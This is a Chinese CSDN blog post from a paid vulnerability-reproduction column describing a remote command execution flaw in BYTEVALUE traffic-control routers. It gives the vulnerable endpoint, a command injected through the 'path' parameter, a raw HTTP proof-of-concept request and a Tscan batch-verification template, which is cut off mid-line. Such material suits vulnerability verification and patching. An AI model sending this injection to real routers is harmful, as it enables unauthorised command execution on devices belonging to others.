BYTEVALUE 百为流控路由器远程命令漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-03 15:22:57 修改

阅读量79

点赞数

分类专栏：漏洞复现文章标签： web安全

于 2024-04-03 15:22:48 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137347152

版权

漏洞复现专栏收录该内容

361 篇文章 141 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了BYTEVALUE流控路由器的一个远程命令执行漏洞，详细描述了漏洞情况，提供了复现步骤及POC使用方法，并给出了修复建议。针对网络安全，尤其是Web安全领域，该漏洞的发现和修复对于提升设备安全性至关重要。

摘要由CSDN通过智能技术生成

0x01漏洞描述

BYTEVALUE百为流控路由拥有强大的多线分流,多线叠加负载均衡功能,加上领先的智能流控QOS技术能解决网吧,小区等公共营业场所带宽不够的难题。该路由器存在远程命令执行漏洞。

0x02漏洞复现

（1）payload利用地址：

/goform/webRead/open/?path=|echo+12345

（2）命令执行POC：

GET /goform/webRead/open/?path=|echo+12345 HTTP/1.1
Host: 127.0.0.1
Accept: */*
Connection: Keep-Alive

0x03POC使用（Tscan验证）

params: []
name: BYTEVALUE 百为流控路由器远程命令漏洞
set:
a1: randomLowercase(8)
rules:



method: GET
path: /goform/webRead/open/?path=|echo+{
  {a1}}
headers: {}
body: ""
search: ""
followredirects: false
expression: response.status == 200 && response.body.bcontains(bytes(string(a1)))
gro

了解本专栏